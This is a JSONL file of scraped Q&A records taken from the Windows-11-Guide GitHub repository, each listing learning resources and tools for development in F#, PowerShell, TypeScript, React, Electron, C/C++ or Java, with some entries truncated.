{"id": "gh_5cd17765b509", "question": "How to: F# Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n**[Start building with F# on Azure](https://docs.microsoft.com/en-us/dotnet/fsharp/using-fsharp-on-azure/)**\n\n**[F# Documentation](https://docs.microsoft.com/en-us/dotnet/fsharp/)**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522391"}
{"id": "gh_54d1b9144599", "question": "How to: F# Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[F#](https://fsharp.org/) is a mature, open source, cross-platform, functional-first programming language. It empowers users and organizations to tackle complex computing problems with simple, maintainable and robust code.\n\n[What is F#](https://docs.microsoft.com/en-us/dotnet/fsharp/what-is-fsharp)\n\n[F#, the Functional programming for .NET](https://dotnet.microsoft.com/languages/fsharp)\n\n[Cloud Programming with F#](https://fsharp.org/guides/cloud/)\n\n[F# style guide](https://docs.microsoft.com/en-us/dotnet/fsharp/style-guide/)\n\n[F# Programming Wikibook](http://en.wikibooks.org/wiki/Programming:F_Sharp)\n\n[F# Developer Network (FSDN)](http://fsdn.azurewebsites.net/)\n\n[Learning F# from The F# Software Foundation ](https://fsharp.org/learn/)\n\n[F# Programming groups | Meetup](https://www.meetup.com/topics/f-programming/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522397"}
{"id": "gh_d89b32767e52", "question": "How to: PowerShell Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522406"}
{"id": "gh_e83a82e66f08", "question": "How to: PowerShell Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Windows Remote Management in Ansible using PowerShell](https://docs.ansible.com/ansible/latest/user_guide/windows_winrm.html)\n\n[Getting Started with PowerShell](https://docs.microsoft.com/en-us/powershell/)\n\n[Start building with PowerShell on Azure](https://docs.microsoft.com/en-us/powershell/azure/install-az-ps)\n\n[Azure PowerShell Documentation](https://docs.microsoft.com/en-us/powershell/azure/)\n\n[PowerShell in Azure Cloud Shell](https://aka.ms/cloudshell/powershell-docs)\n\n[Azure Functions using PowerShell](https://docs.microsoft.com/en-us/azure/azure-functions/functions-create-first-function-vs-code?pivots=programming-language-powershell)\n\n[Azure Automation runbooks](https://docs.microsoft.com/en-us/azure/automation/automation-runbook-types)\n\n[Using Visual Studio Code for PowerShell Development](https://docs.microsoft.com/en-us/powershell/scripting/dev-cross-plat/vscode/using-vscode?view=powershell-7)\n\n[Integrated Terminal in Visual Studio Code](https://code.visualstudio.com/docs/editor/integrated-terminal)\n\n[AWS Tools for Windows PowerShell](https://aws.amazon.com/powershell/)\n\n[Start building with PowerShell on Google Cloud](https://cloud.google.com/powershell/)\n\n[PowerShell Documentation](https://cloud.google.com/powershell/docs/)\n\n[PowerShell Best Practices and Style Guide](https://poshcode.gitbooks.io/powershell-practice-and-style)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522412"}
{"id": "gh_60a42fdc7ccf", "question": "How to: PowerShell Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[PowerShell Core](https://microsoft.com/PowerShell) is a cross-platform (Windows, Linux, and macOS) automation and configuration tool/framework that works well with your existing tools and is optimized for dealing with structured data (JSON, CSV, XML, etc.), REST APIs, and object models. It also includes a command-line shell, an associated scripting language and a framework for processing cmdlets.\n\n[Azure PowerShell](https://docs.microsoft.com/en-us/powershell/azure/overview) is a set of cmdlets for managing Microsoft Azure resources directly from the PowerShell command line.\n\n[Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/learn/modules/get-started-with-windows-subsystem-for-linux/) is a compatibility layer developed by Microsoft for running Linux binary executables in a Executable/Linkable Format natively on Windows 10 and Windows Server.\n\n[AWS Shell](https://aws.amazon.com/cli/) is a command-line shell program that provides convenience and productivity features to help both new and advanced users of the AWS Command Line Interface.\n\n[Google Cloud Shell](https://cloud.google.com/shell/) is a free admin machine with browser-based command-line access for managing your infrastructure and applications on Google Cloud Platform.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522418"}
{"id": "gh_95c3e19d355a", "question": "How to: TypeScript Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n**[Start building with TypeScript on Azure](https://aka.ms/azsdk/js)**\n\n**[TypeScript Documentation](https://aka.ms/azsdk/js/docs)**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522423"}
{"id": "gh_6fe76b598f24", "question": "How to: TypeScript Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[TypeScript](https://www.typescriptlang.org) is a language for application-scale JavaScript. TypeScript adds optional types to JavaScript that support tools for large-scale JavaScript applications for any browser, for any host, on any OS. TypeScript compiles to readable, standards-based JavaScript.\n\n[TypeScript support for Webpack](https://webpack.js.org/guides/typescript/)\n\n[TypeScript Support for Nuxt.js](https://typescript.nuxtjs.org)\n\n[TypeScript Support for Vue.js](https://vuejs.org/v2/guide/typescript.html)\n\n[TypeScript Support for React Native](https://reactnative.dev/docs/typescript)\n\n[TypeScript Support for Angular](https://angular.io/guide/typescript-configuration)\n\n[Ionic/TypeScript Starter Project](http://justin-credible.github.io/Ionic-TypeScript-Starter/)\n\n[GitHub Actions for JavaScript and TypeScript](https://docs.github.com/en/actions/language-and-framework-guides/github-actions-for-javascript-and-typescript)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522428"}
{"id": "gh_4d79deefc1de", "question": "How to: React Native Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522436"}
{"id": "gh_22744981a62d", "question": "How to: React Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[React](https://reactjs.org/) is a declarative, efficient, and flexible JavaScript library for building user interfaces.\n\n[Getting Started with React](https://reactjs.org/docs/getting-started.html)\n\n[React JavaScript Tutorial in Visual Studio Code](https://code.visualstudio.com/docs/nodejs/reactjs-tutorial)\n\n[React Community Resources](https://reactjs.org/community/support.html)\n\n[React Courses on Coursera](https://www.coursera.org/courses?query=react)\n\n[React Courses on Udemy](https://www.udemy.com/topic/react/)\n\n[React Nanodegree program on Udacity](https://www.udacity.com/course/react-nanodegree--nd019)\n\n[Becoming a React Developer Learning Path on LinkedIn Learning](https://www.linkedin.com/learning/paths/become-a-react-developer)\n\n[Learning ReactJS on Codecademy](https://www.codecademy.com/learn/react-101)\n\n[React Tutorials and Training Courses on Pluralsight](https://www.pluralsight.com/browse/software-development/react)\n\n[Introduction to React Course on Cloud Academy](https://cloudacademy.com/course/introduction-toreact/development-environment-set-up/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522443"}
{"id": "gh_b728c356b2b8", "question": "How to: React Tools and Frameworks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[WebStorm](https://www.jetbrains.com/webstorm/) is a professional IDE for JavaScript(including support for both HTML and CSS) developed by JetBrains. WebStorm comes with intelligent code completion, on-the-fly error detection, powerful navigation and refactoring for JavaScript, TypeScript, stylesheet languages, and all the most popular frameworks([Angular](https://angular.io/), [React](https://reactjs.org/), [Vue.js](https://vuejs.org/), [Ionic](https://ionicframework.com/), [Apache Cordova](https://cordova.apache.org/), [React Native](https://reactnative.dev/), [Node.js](https://nodejs.org/), [Meteor](https://www.meteor.com/#!), and [Electron](https://www.electronjs.org/)).\n\n[React Native](https://reactnative.dev) is a framework for building native apps for iOS and Android with React.\n\n[Gatsby](https://www.gatsbyjs.com/) is a free and open source framework based on React that helps developers build blazing fast websites and apps.\n\n[React Starter Kit](https://www.reactstarterkit.com/) is an isomorphic web app boilerplate for web development built on top of [Node.js](https://nodejs.org/), [Express](http://expressjs.com/), [GraphQL](http://graphql.org/) and [React](https://facebook.github.io/react/), containing modern web development tools such as [Webpack](https://webpack.github.io/), [Babel](https://babeljs.io/) and [Browsersync](https://www.browsersync.io/). Helping you to stay productive following the best practices.\n\n[React Hook Form](https://react-hook-form.com/) is a performant, flexible and extensible forms with easy to use validation(Web + React Native).\n\n[GraphQL](https://graphql.org/) is a query language for APIs and a runtime for fulfilling those queries with your existing data. It has support in Java, JavaScript, Ruby, Scala, and other programming languages.\n\n[Apollo Client](https://apollographql.com/client) is a fully-featured caching GraphQL client with integrations for React, Angular, and more. It allows you to easily build UI components that fetch data via GraphQL.\n\n[Nest](https://nestjs.com/) is a framework for building efficient, scalable [Node.js](http://nodejs.org/) server-side applications. It uses modern JavaScript, is built with TypeScript (preserves compatibility with pure JavaScript) and combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming).\n\n[Meteor](https://www.meteor.com/) is an ultra-simple environment for building modern web applications with JavavScript.\n\n[mysqljs](https://github.com/mysqljs/mysql) is a pure node.js JavaScript Client implementing the MySQL protocol.\n\n[axios](https://github.com/axios/axios) is a promise based HTTP client for the browser and node.js.\n\n[Storybook](https://storybook.js.org/) is a development environment for UI components. It allows you to browse a component library, view the different states of each component, and interactively develop and test components.It works with React, Vue, Angular, Ember, and other web frameworks.\n\n[Next.js](https://github.com/vercel/next.js) is a React Framework for production gives you the best developer experience with all the features needed for production such as hybrid static & server rendering, TypeScript support, smart bundling, route pre-fetching, and more.\n\n[React Boilerplate](https://www.reactboilerplate.com/) is a highly scalable, offline-first foundation with the best developer experience and a focus on performance and best practices.\n\n[TypeORM](https://github.com/typeorm/typeorm) is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8).\n\n[Enzyme](https://github.com/enzymejs/enzyme) is a JavaScript Testing utility for React that makes it easier to test your React Components' output. The user can also manipulate, traverse, and in some ways simulate runtime given the output.\n\n[RxDB](https://github.com/pubkey/rxdb) is a NoSQL-database for JavaScript Applications like Websites, hybrid Apps, Electron-Apps, Progressive Web Apps and NodeJs.\n\n[Redux](https://github.com/reduxjs/redux) is a predictable state container for JavaScript apps.\n\n[Inferno](https://infernojs.org/) is an insanely fast, React-like library for building high-performance user interfaces on both the client and server.\n\n[Expo](https://github.com/expo/expo) is an open-source platform for making universal native apps with React.\n\n[React Native Windows](https://microsoft.github.io/react-native-windows/) is a ramework for building native Windows apps with React. [React Native](https://reactnative.dev/) is a framework developed by Facebook that enables you to build world-class application experiences on native platforms using a consistent developer experience based on JavaScript and React.\n\n[ReactiveUI](https://reactiveui.net/) is a composable, cross-platform model-view-viewmodel framework for all .NET platforms that is inspired by functional reactive", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522455"}
{"id": "gh_cbec9a7ae4e9", "question": "How to: Electron Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522460"}
{"id": "gh_144b55f2cf0e", "question": "How to: Electron Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Electron](https://electronjs.org/) is a framework lets you write cross-platform desktop applications using JavaScript, HTML and CSS. It is based on [Node.js](https://nodejs.org/) and [Chromium](https://www.chromium.org/) and is used by the [Atom editor](https://github.com/atom/atom) and many other [apps](https://electronjs.org/apps).\n\n[The OpenJS Foundation](https://openjsf.org/) is made up of 32 open source JavaScript projects including Appium, Dojo, Electron, jQuery, Node.js, and webpack. The foundation's mission is to support the healthy growth of JavaScript and web technologies by providing a neutral organization to host and sustain projects, as well as collaboratively fund activities that benefit the ecosystem as a whole.\n\n[Electron Apps](https://www.electronjs.org/apps)\n\n[Getting Started with Electron](https://www.electronjs.org/docs/tutorial/quick-start)\n\n[Electron Development](https://www.electronjs.org/docs/development)\n\n[Configuring JavaScript libraries in WebStorm](https://www.jetbrains.com/help/webstorm/configuring-javascript-libraries.html)\n\n[JavaScript in Visual Studio Code](https://code.visualstudio.com/Docs/languages/javascript)\n\n[JavaScript extensions for VS Code](https://code.visualstudio.com/docs/nodejs/extensions)\n\n[Master Electron: Desktop Apps with HTML, JavaScript & CSS course on Udemy](https://www.udemy.com/course/master-electron/)\n\n[Electron for Desktop Apps: The Complete Developer's Guide course on Udemy](https://www.udemy.com/course/electron-react-tutorial/)\n\n[Electron From Scratch: Build Desktop Apps With JavaScript course on Udemy](https://www.udemy.com/course/electron-from-scratch/)\n\n[Electron Courses on Coursera](https://www.coursera.org/courses?query=electron+js)\n\n[Electron Fundamentals on Pluralsight](https://www.pluralsight.com/courses/electron-fundamentals)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522467"}
{"id": "gh_58c37f87ecb7", "question": "How to: Electron Tools, Libraries, and Frameworks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Electron Fiddle](https://electronjs.org/fiddle) is an application that lets you create and play with small Electron experiments. It greets you with a simple quick start template after opening. Simply choose the version of Electron you want to run with your project and then play around.\n\n[Electron Builder](https://www.electron.build/) is a complete solution to package and build a ready for distribution Electron app with “auto update” support out of the box.\n\n[Photon](https://github.com/connors/photon) is a UI toolkit for building desktop apps with Electron.\n\n[Electron.NET](https://github.com/ElectronNET/Electron.NET) is an application that builds cross platform desktop apps with ASP.NET Core (Razor Pages, MVC, Blazor).\n\n[Angular Electron](https://github.com/maximegris/angular-electron) is an application that bootstrap's and package's your project with Angular 11 and Electron 11 (Typescript + SASS + Hot Reload) for creating Desktop applications.\n\n[Selenium](https://selenium.dev/) is a browser automation framework and ecosystem. Selenium specifically provides an infrastructure for the [W3C WebDriver specification](https://w3c.github.io/webdriver/) as a platform and language-neutral coding interface compatible with all major web browsers(Firefox, Google Chrome and Safari).\n\n[Selenium IDE](https://selenium.dev/selenium-ide/) is an Open Source record and playback test automation for the web.\n\n[GitHub Codespaces](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces) is an integrated development environment(IDE) on GitHub. That allows developers to develop entirely in the cloud using Visual Studio and Visual Studio Code.\n\n[GitHub Actions](https://docs.github.com/en/actions) will automate, customize, and execute your software development workflows right in your repository with GitHub Actions. You can discover, create, and share actions to perform any job you'd like, including CI/CD, and combine actions in a completely customized workflow.[GitHub Actions for Azure](https://docs.microsoft.com/en-us/azure/developer/github/github-actions) you can create workflows that you can set up in your repository to build, test, package, release and deploy to Azure.Learn more about all other integrations with Azure.\n\n[WebStorm](https://www.jetbrains.com/webstorm/) is a professional IDE for JavaScript(including support for both HTML and CSS) developed by JetBrains. WebStorm comes with intelligent code completion, on-the-fly error detection, powerful navigation and refactoring for JavaScript, TypeScript, stylesheet languages, and all the most popular frameworks([Angular](https://angular.io/), [React](https://reactjs.org/), [Vue.js](https://vuejs.org/), [Ionic](https://ionicframework.com/), [Apache Cordova](https://cordova.apache.org/), [React Native](https://reactnative.dev/), [Node.js](https://nodejs.org/), [Meteor](https://www.meteor.com/#!), and [Electron](https://www.electronjs.org/)).\n\n[Visual Studio Code](https://code.visualstudio.com/) is a code editor redefined and optimized for building and debugging modern web and cloud applications.\n\n[GraphQL](https://graphql.org/) is a query language for APIs and a runtime for fulfilling those queries with your existing data. It has support in Java, JavaScript, Ruby, Scala, and other programming languages.\n\n[TypeORM](https://github.com/typeorm/typeorm) is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8).\n\n[Nest](https://nestjs.com/) is a framework for building efficient, scalable [Node.js](http://nodejs.org/) server-side applications. It uses modern JavaScript, is built with TypeScript (preserves compatibility with pure JavaScript) and combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming).\n\n[Quasar](https://quasar.dev/) is a framework that builds high-performance VueJS user interfaces in record time. Such as responsive Single Page Apps, SSR Apps, PWAs, Browser extensions, Hybrid Mobile Apps and Electron Apps.\n\n[Gatsby](https://www.gatsbyjs.com/) is a free and open source framework based on React that helps developers build blazing fast websites and apps.\n\n[React Starter Kit](https://www.reactstarterkit.com/) is an isomorphic web app boilerplate for web development built on top of [Node.js](https://nodejs.org/), [Express](http://expressjs.com/), [GraphQL](http://graphql.org/) and [React](https://facebook.github.io/react/), containing modern web development tools such as [Webpack](https://webpack.github.io/), [Babel](https://babeljs.io/) and [Browsersync](https://www.browsersync.io/). Helping you to stay productive following the best practices.\n\n[Enzyme](https://github.com/enzymejs/enzyme) is a JavaScript Testing utility for React that makes it easier to test your React Components' output. The user can also manipulate, traverse, and in some wa", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522485"}
{"id": "gh_bcdf53676359", "question": "How to: C/C++ Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522490"}
{"id": "gh_0daf95ddeef0", "question": "How to: C/C++ Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[C++](https://www.cplusplus.com/doc/tutorial/) is a cross-platform language that can be used to build high-performance applications developed by Bjarne Stroustrup, as an extension to the C language.\n\n[C](https://www.iso.org/standard/74528.html) is a general-purpose, high-level language that was originally developed by Dennis M. Ritchie to develop the UNIX operating system at Bell Labs. It supports structured programming, lexical variable scope, and recursion, with a static type system. C also provides constructs that map efficiently to typical machine instructions, which makes it one was of the most widely used programming languages today.\n\n[Embedded C](https://en.wikipedia.org/wiki/Embedded_C) is a set of language extensions for the C programming language by the [C Standards Committee](https://isocpp.org/std/the-committee) to address issues that exist between C extensions for different [embedded systems](https://en.wikipedia.org/wiki/Embedded_system). The extensions hep enhance microprocessor features such as fixed-point arithmetic, multiple distinct memory banks, and basic I/O operations. This makes Embedded C the most popular embedded software language in the world.\n\n[C & C++ Developer Tools from JetBrains](https://www.jetbrains.com/cpp/)\n\n[Open source C++ libraries on cppreference.com](https://en.cppreference.com/w/cpp/links/libs)\n\n[C++ Graphics libraries](https://cpp.libhunt.com/libs/graphics)\n\n[C++ Libraries in MATLAB](https://www.mathworks.com/help/matlab/call-cpp-library-functions.html)\n\n[C++ Tools and Libraries Articles](https://www.cplusplus.com/articles/tools/)\n\n[Google C++ Style Guide](https://google.github.io/styleguide/cppguide.html)\n\n[Introduction C++ Education course on Google Developers](https://developers.google.com/edu/c++/)\n\n[C++ style guide for Fuchsia](https://fuchsia.dev/fuchsia-src/development/languages/c-cpp/cpp-style)\n\n[C and C++ Coding Style Guide by OpenTitan](https://docs.opentitan.org/doc/rm/c_cpp_coding_style/)\n\n[Chromium C++ Style Guide](https://chromium.googlesource.com/chromium/src/+/master/styleguide/c++/c++.md)\n\n[C++ Core Guidelines](https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md)\n\n[C++ Style Guide for ROS](http://wiki.ros.org/CppStyleGuide)\n\n[Learn C++](https://www.learncpp.com/)\n\n[Learn C : An Interactive C Tutorial](https://www.learn-c.org/)\n\n[C++ Institute](https://cppinstitute.org/free-c-and-c-courses)\n\n[C++ Online Training Courses on LinkedIn Learning](https://www.linkedin.com/learning/topics/c-plus-plus)\n\n[C++ Tutorials on W3Schools](https://www.w3schools.com/cpp/default.asp)\n\n[Learn C Programming Online Courses on edX](https://www.edx.org/learn/c-programming)\n\n[Learn C++ with Online Courses on edX](https://www.edx.org/learn/c-plus-plus)\n\n[Learn C++ on Codecademy](https://www.codecademy.com/learn/learn-c-plus-plus)\n\n[Coding for Everyone: C and C++ course on Coursera](https://www.coursera.org/specializations/coding-for-everyone)\n\n[C++ For C Programmers on Coursera](https://www.coursera.org/learn/c-plus-plus-a)\n\n[Top C Courses on Coursera](https://www.coursera.org/courses?query=c%20programming)\n\n[C++ Online Courses on Udemy](https://www.udemy.com/topic/c-plus-plus/)\n\n[Top C Courses on Udemy](https://www.udemy.com/topic/c-programming/)\n\n[Basics of Embedded C Programming for Beginners on Udemy](https://www.udemy.com/course/embedded-c-programming-for-embedded-systems/)\n\n[C++ For Programmers Course on Udacity](https://www.udacity.com/course/c-for-programmers--ud210)\n\n[C++ Fundamentals Course on Pluralsight](https://www.pluralsight.com/courses/learn-program-cplusplus)\n\n[Introduction to C++ on MIT Free Online Course Materials](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-096-introduction-to-c-january-iap-2011/)\n\n[Introduction to C++ for Programmers | Harvard ](https://online-learning.harvard.edu/course/introduction-c-programmers)\n\n[Online C Courses | Harvard University](https://online-learning.harvard.edu/subject/c)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522501"}
{"id": "gh_a81da2172060", "question": "How to: C/C++ Tools, Libraries, and Frameworks", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[AWS SDK for C++](https://aws.amazon.com/sdk-for-cpp/)\n\n[Azure SDK for C++](https://github.com/Azure/azure-sdk-for-cpp)\n\n[Azure SDK for C](https://github.com/Azure/azure-sdk-for-c)\n\n[C++ Client Libraries for Google Cloud Services](https://github.com/googleapis/google-cloud-cpp)\n\n[Visual Studio](https://visualstudio.microsoft.com/) is an integrated development environment (IDE) from Microsoft; which is a feature-rich application that can be used for many aspects of software development. Visual Studio makes it easy to edit, debug, build, and publish your app. By using Microsoft software development platforms such as Windows API, Windows Forms, Windows Presentation Foundation, and Windows Store.\n\n[Visual Studio Code](https://code.visualstudio.com/) is a code editor redefined and optimized for building and debugging modern web and cloud applications.\n\n[Vcpkg](https://github.com/microsoft/vcpkg) is a C++ Library Manager for Windows, Linux, and MacOS.\n\n[ReSharper C++](https://www.jetbrains.com/resharper-cpp/features/) is a Visual Studio Extension for C++ developers developed by JetBrains.\n\n[AppCode](https://www.jetbrains.com/objc/) is constantly monitoring the quality of your code. It warns you of errors and smells and suggests quick-fixes to resolve them automatically. AppCode provides lots of code inspections for Objective-C, Swift, C/C++, and a number of code inspections for other supported languages. All code inspections are run on the fly.\n\n[CLion](https://www.jetbrains.com/clion/features/) is a cross-platform IDE for C and C++ developers developed by JetBrains.\n\n[Code::Blocks](https://www.codeblocks.org/) is a free C/C++ and Fortran IDE built to meet the most demanding needs of its users. It is designed to be very extensible and fully configurable. Built around a plugin framework, Code::Blocks can be extended with plugins.\n\n[CppSharp](https://github.com/mono/CppSharp) is a tool and set of libraries which facilitates the usage of native C/C++ code with the .NET ecosystem. It consumes C/C++ header and library files and generates the necessary glue code to surface the native API as a managed API. Such an API can be used to consume an existing native library in your managed code or add managed scripting support to a native codebase.\n\n[Conan](https://conan.io/) is an Open Source Package Manager for C++ development and dependency management into the 21st century and on par with the other development ecosystems.\n\n[High Performance Computing (HPC) SDK](https://developer.nvidia.com/hpc) is a comprehensive toolbox for GPU accelerating HPC modeling and simulation applications. It includes the C, C++, and Fortran compilers, libraries, and analysis tools necessary for developing HPC applications on the NVIDIA platform.\n\n[Thrust](https://github.com/NVIDIA/thrust) is a C++ parallel programming library which resembles the C++ Standard Library. Thrust's high-level interface greatly enhances programmer productivity while enabling performance portability between GPUs and multicore CPUs. Interoperability with established technologies such as CUDA, TBB, and OpenMP integrates with existing software.\n\n[Boost](https://www.boost.org/) is an educational opportunity focused on cutting-edge C++. Boost has been a participant in the annual Google Summer of Code since 2007, in which students develop their skills by working on Boost Library development.\n\n[Automake](https://www.gnu.org/software/automake/) is a tool for automatically generating Makefile.in files compliant with the GNU Coding Standards. Automake requires the use of GNU Autoconf.\n\n[Cmake](https://cmake.org/) is an open-source, cross-platform family of tools designed to build, test and package software. CMake is used to control the software compilation process using simple platform and compiler independent configuration files, and generate native makefiles and workspaces that can be used in the compiler environment of your choice.\n\n[GDB](http://www.gnu.org/software/gdb/) is a debugger, that allows you to see what is going on `inside' another program while it executes or what another program was doing at the moment it crashed.\n\n[GCC](https://gcc.gnu.org/) is a compiler Collection that includes front ends for C, C++, Objective-C, Fortran, Ada, Go, and D, as well as libraries for these languages.\n\n[GSL](https://www.gnu.org/software/gsl/) is a numerical library for C and C++ programmers. It is free software under the GNU General Public License. The library provides a wide range of mathematical routines such as random number generators, special functions and least-squares fitting. There are over 1000 functions in total with an extensive test suite.\n\n[OpenGL Extension Wrangler Library (GLEW)](https://www.opengl.org/sdk/libs/GLEW/) is a cross-platform open-source C/C++ extension loading library. GLEW provides efficient run-time mechanisms for determining which OpenGL extensions are supported on the target platform.\n\n[Libtool](https://www.gnu.org/software/libtool/) is a generic librar", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522517"}
{"id": "gh_fbb94825709f", "question": "How to: Java Development", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.522523"}
{"id": "gh_193e099ed320", "question": "How to: Java Learning Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Java](https://www.oracle.com/java/) is a popular programming language and development platform(JDK). It reduces costs, shortens development timeframes, drives innovation, and improves application services. With millions of developers running more than 51 billion Java Virtual Machines worldwide.\n\n[The Eclipse Foundation](https://www.eclipse.org/downloads/) is home to a worldwide community of developers, the Eclipse IDE, Jakarta EE and over 375 open source projects, including runtimes, tools and frameworks for Java and other languages.\n\n[Getting Started with Java](https://docs.oracle.com/javase/tutorial/)\n\n[Oracle Java certifications from Oracle University](https://education.oracle.com/java-certification-benefits)\n\n[Google Developers Training](https://developers.google.com/training/)\n\n[Google Developers Certification](https://developers.google.com/certification/)\n\n[Java Tutorial by W3Schools](https://www.w3schools.com/java/)\n\n[Building Your First Android App in Java](codelabs.developers.google.com/codelabs/build-your-first-android-app/)\n\n[Getting Started with Java in Visual Studio Code](https://code.visualstudio.com/docs/java/java-tutorial)\n\n[Google Java Style Guide](https://google.github.io/styleguide/javaguide.html)\n\n[AOSP Java Code Style for Contributors](https://source.android.com/setup/contribute/code-style)\n\n[Chromium Java style guide](https://chromium.googlesource.com/chromium/src/+/master/styleguide/java/java.md)\n\n[Get Started with OR-Tools for Java](https://developers.google.com/optimization/introduction/java)\n\n[Getting started with Java Tool Installer task for Azure Pipelines](https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/tool/java-tool-installer)\n\n[Gradle User 